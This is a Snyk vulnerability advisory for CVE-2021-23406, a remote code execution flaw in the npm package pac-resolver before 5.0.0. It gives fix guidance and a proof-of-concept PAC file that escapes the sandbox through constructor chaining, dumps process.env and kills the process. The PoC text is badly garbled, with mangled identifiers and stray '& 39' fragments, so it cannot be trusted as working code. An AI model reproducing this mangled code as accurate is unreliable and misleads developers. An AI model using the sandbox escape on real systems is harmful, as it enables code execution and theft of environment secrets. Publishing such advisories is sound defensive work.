snyk Vulnerability DB

Snyk Vulnerability Database > npm > pac-resolver

Remote Code Execution (RCE)

Affecting pac-resolver package, versions <5.0.0



INTRODUCED: 30 MAY 2021 CVE-2021-23406 @ CWE-94 @ FIRST ADDED BY SNYK	Share v
How to fix? Upgrade pac-resolver to version 5.0.0 or higher.	

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

PoC

construct = require ('pac-resolver'); // Should keep running forever (if not vulnerable): setinterval(() => (console.log("Still running"); 1000); // Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac(// Real PAC config: function finance production, bost) (return "DIRECT"; } // But also run arbitrary code: var f = this.constructor.constructor(\ // Running outside the sandbox: console.log(& 39), mad env vars: & 39), process.env); console.log(& 39); !!! PAC file is running arbitrary code!!!& 39); console.log(& 39); console.log(& 39); console.log(& 39); console.log(& 39); process.enit(100); // Kill the vulnerable process // etc etc \ \); f();

References

- GitHub Commit #1
- GitHub Commit #2
- Github Release
- Researcher Blog

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